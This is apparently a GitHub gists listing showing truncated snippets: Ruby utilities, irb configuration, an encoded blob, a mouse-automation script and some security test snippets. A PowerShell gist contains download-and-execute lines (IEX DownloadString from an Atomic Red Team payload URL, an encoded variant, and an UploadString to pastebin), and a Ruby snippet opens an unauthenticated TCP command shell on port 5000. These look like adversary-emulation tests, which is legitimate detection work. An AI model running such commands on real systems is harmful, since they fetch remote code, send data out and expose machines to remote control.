This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def minimal_heaviest_subset(weights) | |
| weights.sort! | |
| half_sum = weights.sum / 2 | |
| weights | |
| .each_cons(2) | |
| .filter {|a, b| a+b >= half_sum} | |
| .flatten | |
| .uniq | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'uri' | |
| require 'net/http' | |
| require 'csv' | |
| class Downloader | |
| attr_accessor :uri, :content | |
| def initialize(uri) | |
| @uri = URI(uri) | |
| @content = nil |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| AwesomePrint.defaults = { | |
| indent: -2 | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| H4sIALynH2IAA+1aWY/byBH2s34FIb/MZi1N34cWQa41kDzsyyZvhjGo7q6WmJFIgaQ8Hiz831OU5tBopLEXoL3ZRIUZ8Go2q7qqvvqK1Kr+gFeretPi5auvJYwxq3Wx3Zrdlgm1295JwZVg1gppNCsYV5KpV4X+ahrtyabtoCFVrqFZQdew6sQ4GpbzC/Pc2fGw/Z3I6tH/f4NmXk+7erUc+Bm0Hkap0/6XQuz8r63htM+4EZK/KtjAehyV/3P/v1tDvIY5vh9VsMLij8X4MSLGow/YtGVd9afZlE/ZeISp7O7OCCb4eDR6XfwTsVjVDRbXeNsWUKWiW2DZFAlzWW2H09muWHTdup1dXqY6Thta9skSqvm0buaXsY+8ywYzNlhFvFxBVWZsu+miWy1Ho3cJ11glulRi+36EVTmvdyqRUmo8avpHbo/dVI9/6xX9fcmz/F/W8XrgZ7yc/7yPo2f5z/Q5/7+FvC7+tSjbIpdLLGgLG8J/6MoIy+Vt8ec5VthAh6kIt8UuPijf/9H1Q6uaNlXXJ2Yqct0UlLUbWBZbhKDE3gMPSTn8ADSPSBPKLi9h3j7BGT6VUzEetfWmidtRDc7Ltmtuv7/Hj3nZLTZhGuvV5QOMXMZezXZa1pOSFPo4HsUFxut2s9o+CLN0SWluZBSZp4TMK7ApJyljzNrr6IVnOrrsssopcpeYyYEzaS13MD6uf8zzSZkPtGc9Sg6rPZDKqKT0lB7auRCZ4R5lpB1KHkTtBIZgVdAyKMwhW8+5DUkkUCynU9oTYk9yvakS9BB9APZmqgY2Q+jgkcnMlc5JZUFqMo3MBs9YTIrnaIj9eZdRp6i0yImlwJXiUWblDZmxXwZoxnejZ0ZM2tt2/IbOL8sQaef9F5m+vevQ/KFjEG0EB1oILg05ieuIgnF0mEQ2zOcouTBOAAUgMpRJAWhnyeV0mEGGl7w4b2C9KOOhEdwNHoukd6DA09o465wBE4zxmlSXRnDUwLXw4DkQhBuTjKIkMioAcJnJzZkd |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'irb/completion' | |
| require 'irb/ext/save-history' | |
| require 'rubygems' | |
| require 'irb/easter-egg' if Gem::Version.new(RUBY_VERSION) > Gem::Version.new('2.7.0') | |
| %w[awesome_print rainbow interative_editor virb].each do |gem| | |
| next if Gem.loaded_specs.key?(gem) | |
| if defined?(::Bundler) | |
| system("rvm @global do gem install #{gem}") | |
| global_gemset = ENV['GEM_PATH'].split(':').grep(/ruby.*@global/).first |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| do shell script " | |
| /usr/bin/python <<END | |
| import sys | |
| import time | |
| import random | |
| from Quartz.CoreGraphics import * | |
| def mouseEvent(type, x, y): | |
| theEvent = CGEventCreateMouseEvent(None, type, (x,y), kCGMouseButtonLeft) | |
| CGEventPost(kCGHIDEventTap, theEvent) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1')) | |
| IEX((New-Object System.Net.WebClient).UploadString('https://pastebin.com', $Input)) | |
| # wmic process call create "powershell -encodedCommand SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwByAGUAZABjAGEAbgBhAHIAeQBjAG8ALwBhAHQAbwBtAGkAYwAtAHIAZQBkAC0AdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AYQB0AG8AbQBpAGMAcwAvAFQAMQAwADgANgAvAHAAYQB5AGwAbwBhAGQAcwAvAHQAZQBzAHQALgBwAHMAMQAnACkAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAOwA=" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| echo "Hello SL ;)" > /tmp/evil; | |
| cat /tmp/evil; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo "This is just a test, but it could be evil;" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'socket' | |
| server = TCPServer.new "5000" | |
| job = fork do | |
| loop do | |
| Thread.start(server.accept) do |client| | |
| client.print "-> " | |
| cmd = client.gets | |
| IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read } | |
| client.close | |
| end |